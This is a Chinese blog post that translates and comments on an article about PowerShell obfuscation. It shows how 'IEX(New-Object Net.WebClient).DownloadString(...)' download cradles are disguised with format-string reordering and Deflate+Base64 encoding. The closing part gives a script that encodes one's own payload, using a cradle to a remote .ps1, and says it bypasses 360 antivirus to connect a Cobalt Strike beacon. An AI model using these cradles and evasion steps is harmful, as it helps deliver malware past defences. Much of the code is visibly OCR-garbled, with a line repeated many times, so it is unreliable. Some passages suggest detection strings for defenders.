前言:

某一天发现一个powershell脚本,进行了尝试可发现可进行免杀,但是对其中的混淆方法始终不理解,于是通过谷歌发现了具体方法,发现该文章写的还是很不错的,所以将文章中的内容进行了翻译,原文出处可参考:

https://www.cynet.com/attack-techniques-hands-on/powershell-obfuscation-demystified-series-chapter-2-concatenation-and-base64-encoding/

概述:

powershell由于能在内存中执行,所以是一种常见的无文件攻击方法。事实上按照我们的经验,powershell是文件写入的第一步。我们在下面的案例中将看到,攻击者是如何混淆powershell做常见的执行命令IEX (involve-expression)。 IEX命令是invoke-expression的别名,IEX命令可允许用户在本地计算机上执行一些命令或表达式。 invoke-expression命令的使用表达式如下:

Invoke-Expression [-command] string

```
PS C:\Users\haha> $a='haha'
PS C:\Users\haha> Invoke-Expression '$a'
haha
PS C:\Users\haha> iex '$a'
haha
PS C:\Users\haha> $a='whoami'
PS C:\Users\haha> iex '$a'
whoami
PS C:\Users\haha> iex '$a
desktop-u0gohsr\haha
PS C:\Users\haha>
```

在无文件攻击的案例中,IEX命令在攻击者的恶意脚本中占有重要位置,IEX可以执行在线命令用于远程下载恶意脚本,为了更好的理解powershell执行远程命令,我们可以用如下例子

```
PS C:\Users\user> IEX(New-Object Net.WebClient).DownloadString('http://www.demo.local/cybad.ps1')
```

上述命令将会在powershell内存中执行下载程序并且通过iex命令进行执行该程序,这也就意味着 cybad.ps1恶意脚本内 容将直接在powershell虚拟内存中执行而不是通过硬盘执行。传统的杀毒软件很难去检测到无文件攻击技术,他们只能 对存储在硬盘上的文件进行检测。所以作为防守方,我们可以去监测在powershell中运行IEX命令的进程,如'New-Object Net.Webclient'和'DownloadString'的方法,这样可以监测到powershell中一些可疑的进程。这能帮助 我们发现powershell中远程加载并执行的无文件恶意攻击行为。以上述例子为例,找到其中存在的可以字符串如下:

IEX:本地计算机上执行命令

New-Object Net.WebClient:通过URL地址发送或接受数据

DownloadString:以字符串形式下载请求的资源,下载的资源可以为为指定的url或uri。

攻击者清楚地知道,IEX命令或命令中其他带有的字符串可以暴露他们的恶意行为,所以他们改变了方法开始使用大量的 混淆来修改命令。混淆技术可以帮助他们绕过防护软件、检测规则,增强免杀时效。

以下命令是关于 "IEX(New-Object Net.WebClient).DownloadString('http://www.demo.local/cybad.ps1')"的 新的混淆版本:

- $f' Clie' ,' N' ,' nt' ,' t.Web' ,' e')).("{1}{3}{0}{2}" -f 'trin' ,' Downl' ,' g' ,' oadS'). Invoke(("{1}{5}{2}{4}{3}{0}" -f 'l/cybad.ps1',' h' ,' ww' ,' loca' ,' w.demo.' ,' ttp://'))$
- $2 \ \ (\ nEW-ObJeCt \ sYsTem.lo.COMPression.DeFIATestreAM([IO.MEMorySTREaM]$

[sYsteM.ConveRT]::fROmbaSE64String(' 83SN0FBQ8Est1/VPykpNLgEyS/TCU5OcczJT

80oUNPVc8svzcvITU4JLijLz0jXsM0pKCqz09cvLy/VSUnPz9XLykxNz9JMrkxJT9AqKDe01AQ=='),

 $[io.cOmpresSioN.cOMpREssionMODE] :: DECoMPress) \ | fOr EACH-OBJECt \ \{ \ nEW-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ \{ \ new-ObJeCt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt) \} | for EACH-OBJECt \ io. StREamreAder (\$_, new-ObJeCt)$

[tExt.ENcoDIng]::Ascii) } |FoREach-ObjeCT { \$.REaDToenD()}) |.(\$SHeLLid[1]+\$ShELlid[13]+' x')

对做了混淆的powershell脚本进行查看发现,因为做了混淆并没有发现存在可疑字符串。

一、首先分析第一个例子:

```
6("[1]{0}" -f 'EX','I')(6("[1]{0}{2}" -f 'Obje','New-','ct')("[1]{4]{3}{0}{2}" -f'Clie','N','nt','t.Web',
'e')).("[1]{3]{0}{2}" -f 'trin','Downl','g','oads').Invoke(("[1]{5}{2}{4}{3}{0}" -f 'a','h','192','89/',
'.168.1.53','ttp://'))
```

第一步:首先恶意脚本由()进行分割

 $\& ("\{1\}\{0\}" -f 'EX' ,' | I')(\& ("\{1\}\{0\}\{2\}" -f 'Obje' ,' New- ',' ct') ("\{1\}\{4\}\{3\}\{0\}\{2\}" -f 'Clie' ,' N' ,' nt' ,' t.Web' ,' e')).("\{1\}\{3\}\{0\}\{2\}" -f 'trin' ,' Downl' ,' g' ,' oadS').Invoke(("\{1\}\{5\}\{2\}\{4\}\{3\}\{0\}" -f 'I/cybad.ps1',' h' ,' ww' ,' loca' ,' w.demo.' ,' ttp://'))$

第二步:用{}包括数字

第三步:最后每组{}后用-f指定具体内容

这种混淆方式称为重新排序,利用-f参数将字符串分成几部分,在利用{}里面的数字对打乱的字符串进行重新排序,利用打乱的数字做为占位符,第一眼看上去很难分清楚。

在上述例子中首先是是IEX进行重新组合

```
PS C:\Users\user> ("{1}{0}" -f 'EX','I')
IEX

PS C:\Users\user> ("{1}" -f 'EX','I')
I

PS C:\Users\user> ("{0}" -f 'EX','I')
EX
```

我们对每一个()中的内容进行逐一查看,如下图

```
( "{1}{0}" -f 'EX' ,' I' )
```

("{1}{0}{2}" -f 'Obje' ,' New- ',' ct')

("{1}{4}{3}{0}{2}" -f' Clie', 'N', 'nt', 't.Web', 'e')

("{1}{3}{0}{2}" -f 'trin' ,' Downl' ,' g' ,' oadS')

("{1}{5}{2}{4}{3}{0}" -f 'l/cybad.ps1',' h' ,' ww' ,' loca' ,' w.demo.' ,' ttp://')

```
PS C:\Users\haha> ( "(1)'(0) -f 'EX,' 1)

IEX

PS C:\Users\haha> ( "(1) (0) (2)-f 'Obje,' New-,' ct)

New-Object

PS C:\Users\haha> ( "(1) (4) (3) (0) (2) -f' Clie,' N,' nt,' t.Web,' e)

Net.WebClient

PS C:\Users\haha> ( "(1) (3) (0) (2) -f 'trin,' Downl,' g,' oadS)

DownloadString

PS C:\Users\haha> ( "(1) (5) (2) (4) (3) (0) "-f '1/cybad.ps1','h','ww','local','w.demo.','ttp://')

http://www.demo.local1/cybad.ps1

PS C:\Users\haha> _
```

二、分析第二个例子

```
1 ( nEW-ObJect sYsTem.Io.COMPression.DeFlATestreAM([IO.MEMorySTREAM]
[sYsteM.ConveRT]::fRombaSE64String('83SN0FBQ8Estl/VFykpNLgEyS/TCU5OcczJT
2 80OUNPVC8SYCVITU4JLijlz0jXsM0pKCqz09cvLy/VSUnPz9XLykxNz9JWrkxTT9AqKDe0lAQ==')
,[io.cOmpressioN.coMpKPEssioNcoMpCE]::DecoMpress [OFFLATE-ObJect 10.StREamreAder($_,
[text.ENcoDing]::Ascii ) } | ForEach-Object { $_.REaDToenD()} ) | .( $SHeLLid[1]+$ShELlid[13]+'x')|
```

第二个混淆利用了不同的混淆方法,利用base64编码的方法进行字符混淆,具体分析如下:

1、利用系统环境变量参数('Microsoft.PowerShell')进行混淆IEX,(\$SHeLLid[1]+\$ShELlid[13]+' x'),

```
PS C:\Users\haha> ( $SHeLLid[1]+$ShELlid[13]+' x)
iex
PS C:\Users\haha> _
```

2、删除上述的IEX,运行第一部分,可获取编码之前的数据

```
( nEM-Object system.Io.COMPression.DeflATestreAM([10.MEMorysTREOM) [system.converT]::fRombaSE64String('83SNOFBQBEst1/VPykpNLgEys/
TCUSGcc2T880UNDVCBSvzcvTTU31Li1z91xsWaDKCqz89cvLv/VSUnDr9XLvkxkr9JMrkv3T9AakDe01A0==') .[io.compresSioN.coMpREssionWODE]
::DECOMPress) | fOrEACH-OBJECt { nEW-Object iO.stREamreAder($_, [text.EncoDIng]::Ascii ) } | FoREach-Object { $_.REaDToenD()} ) |
```

(1)红色标记为利用Deflate algorithm方法进行压缩数据(谷歌对Deflate的定义如下,DEFLATE是同时使用了LZ77算法与哈夫曼编码(Huffman Coding)的一个无损数据压缩算法。它最初是由菲尔·卡茨(Phil Katz)为他的PKZIP软件第二版所定义的,后来被RFC 1951(页面存档备份,存于互联网档案馆)标准化,gzip压缩就是利用了Deflate算法进行压缩)。

(2) 黄色标记,利用sYsteM.ConveRT]::fROmbaSE64String(),将base64字符转换为二进制;

(3)白色标记:为下载地址的base64编码;

(4)绿色标记:IO的压缩模式;

(5)蓝色标记:从base64编码转化过来的ascii编码;

整体流程为:先将base64编码转换为二进制,在调用Deflate algorithm对其进行解压,在转换为二进制,最后powershell输出内容,分步流程如下:

\$base64data =

"83SN0FBQ8Est1/VPykpNLgEyS/TCU5OcczJT80oUNPVc8svzcvITU4JLijLz0jXsM0pKCqz09cvLy/VSUnPz9XLykxNz9JMrkxJT9AqKDe \$\data = [System.Convert]::FromBase64String(\$\base64\data)

\$ms = New-Object System.IO.MemoryStream

\$ms.Write(\$data, 0, \$data.Length)

\$ms.Seek(0,0) | Out-Null

\$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream(\$ms,

[System.IO.Compression.CompressionMode]::Decompress))

```
while ($line = $sr.ReadLine()) {
   $line
```

```
PS C:\Users\haha\> \text{sbase6data} = "SSNOFFQSEstI/VPykpNLgbys/TCUSOCczjTSOoUNPVCSsv2cvITU4jLijLzOjXsMOpKCqzO9cvLy/VSUnPz9XLizxVszJMIkcx [JRAMBOPLGATA]

PS C:\Users\haha\> \text{sdata} = [System. Convert]::FromBase64String($base64data)

PS C:\Users\haha\> \text{sata} = New Object System. IO. Memory$tream

PS C:\Users\haha\> \text{sata} = New Object System. IO. Memory$tream

PS C:\Users\haha\> \text{sata} = New Object System. IO. Stata. Length)

PS C:\Users\haha\> \text{sata} = New Object System. IO. StreamReader(New Object System. IO. Compression. DeflateStream($ms. [System. IO Compression. Compression of Compre
```

此处需要将其中的base64编码替换为我们自己的payload,大体步骤如下,将明文信息先进行压缩,在转化为二进制,转换为base64编码,具体代码如下:

\$con = 'IEX(New-Object Net.WebClient).DownloadString(?http://www.tidesec.com/mm.ps1?)'

\$aaa = New-Object System.IO.MemoryStream

\$bbb = New-Object System.IO.Compression.DeflateStream(\$aaa, [System.IO.Compression.CompressionMode]::Compress)

\$ccc = New-Object System.IO.StreamWriter(\$bbb)

\$ccc.Write(\$con)

\$ccc.Close()

\$ddd = \$aaa.ToArray()

\$result = [System.Convert]::ToBase64String(\$ddd)

Write-Host "Compress Result:"\$result

```
PS C:\Users\haha\) $con = 'IE\ New-Object Not Welchlore ! DownloadString(?http://www.tidesec.com/mm.ps1?)'
PS C:\Users\haha\) $lana = New-Object System 10. MemorySream
PS C:\Users\haha\) $bb\ New-Object System 10. Compression. DeflateStream($aaa, [System. 10. Compression. CompressionMode]::
ompress\
PS C:\Users\haha\) $ccc = New-Object System 10. StreamFriter($bbb)
PS C:\Users\haha\) $ccc. Frite ($con)
PS C:\
```

可尝试利用上述两种方法对powershell进行混淆,可对360全家桶进行绕过上线cs,也加深了对powershell的认识,尤其是对powershell进行反推过程,重新认识了base64编码,常规的base64编码中是没有/等特殊字符的,往往携带这些特殊字符的基本都是经过压缩的文件,通常在powershell恶意脚本中比较常见,如下powershell脚本。



https://gist.github.com/marcgeld/bfacfd8d70b34fdf1db0022508b02aca